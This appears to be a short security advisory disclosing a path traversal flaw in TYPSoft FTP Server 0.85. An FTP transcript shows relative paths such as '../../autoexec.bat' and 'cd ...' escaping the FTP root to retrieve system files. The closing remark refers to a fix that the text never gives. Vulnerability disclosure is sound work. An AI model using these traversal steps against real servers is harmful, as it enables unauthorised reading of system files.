    Vulnerability in TYPSoft FTP Server


    TYPSoft FTP Server v0.85 is an ftp server available from
    http://www.webmasterfree.com and http://typsoft.n3.net. A vulnerability
    exists which allows a remote attacker to break out of the ftp root using
    relative paths (ie: '...').


    The following is an illustration of the problem:

    % ftp localhost
    Connected to xxxxxxxxxx.rh.rit.edu.
    220 TYPSoft FTP Server 0.85 ready...
    User (xxxxxxxxxx.rh.rit.edu:(none)): jdog
    331 Password required for jdog.
    230 User jdog logged in.
    ftp> pwd
    257 "/C:/directory/directory/" is current directory.
    ftp> get ../../autoexec.bat
    200 Port command successful.
    150 Opening data connection for ../../autoexec.bat.
    226 Transfer complete.
    ftp: 383 bytes received in 0.06Seconds 6.38Kbytes/sec.
    ftp> cd ..
    501 CWD failed. No permission
    ftp> cd ...
    250 CWD command successful. "/C:/directory/directory/.../" is current directory.
    ftp> pwd
    257 "/C:/directory/directory/.../" is current directory.
    ftp> get config.sys
    200 Port command successful.
    150 Opening data connection for config.sys.

        Unfortunately, I do not have the resources to verify this fix at
    this time. Thus, I urge users to proceed with caution.
